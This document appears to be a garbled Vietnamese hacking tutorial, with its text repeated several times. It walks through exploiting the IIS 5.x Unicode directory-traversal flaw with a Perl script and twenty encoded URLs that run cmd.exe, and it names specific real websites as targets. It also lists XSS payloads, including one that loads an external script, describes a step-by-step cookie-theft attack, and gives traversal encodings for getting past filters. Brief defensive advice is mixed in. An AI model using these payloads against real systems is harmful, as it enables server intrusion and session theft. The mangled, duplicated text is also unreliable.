code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
